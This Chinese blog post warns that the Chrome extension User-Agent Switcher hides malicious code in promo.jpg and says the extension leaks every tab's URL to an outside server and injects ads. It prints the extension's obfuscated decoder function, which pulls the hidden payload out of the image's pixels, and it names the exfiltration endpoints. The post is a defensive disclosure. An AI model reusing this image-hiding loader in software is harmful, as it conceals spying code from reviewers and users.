前言
User-Agent Switcher for Google Chrome扩展,被一位V友发现其中包含有恶意代码,为了躲避Chrome的审查,还特意把代码做在了图片中。
请还在使用的开发人员们马上停用此插件,避免进一步地泄露信息。
我也是在502看到的,起源是在V站
V站原贴:https://www.v2ex.com/t/389340#reply40
其他关于此插件恶意行为的帖子:
https://news.ycombinator.com/item?id=14889619
恶意代码
为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg
里
background.js
的第 80 行,从这个图片里解密出恶意代码并执行
t.prototype.Vh = function(t, e) { if ("" === '../promo.jpg') return ""; void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {}; var n = this.ET, i = e.mp || n.mp, o = e.Tv || n.Tv, h = e.At || n.At, a = r.Yb(Math.pow(2, i)), f = (e.WC || n.WC, e.TY || n.TY), u = document.createElement("canvas"), p = u.getContext("2d"); if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return ""; e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0); var c = p.getImageData(0, 0, u.width, u.height), d = c.data, g = []; if (c.data.every(function(t) { return 0 === t })) return ""; var m, s; if (1 === o) for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1)); var v = "", w = 0, y = 0, l = Math.pow(2, h) - 1; for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y); return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v) }
会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116
获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
其他可能含有恶意代码的插件(相同/有关系的作者)
NEnhancer:
https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm
Allow Copy:
https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah
Скачать музыку Вконтакте:
AliExpress Radar:
https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg
博主还是把ENGLISH语言去掉吧,排版超级乱。。。
反正又没人看我的英语版,坑也是坑外国人。外国人也不会来看我的博客,除非GG搜索直接进我的内页,所以根本不会在意我的首页布局(笑)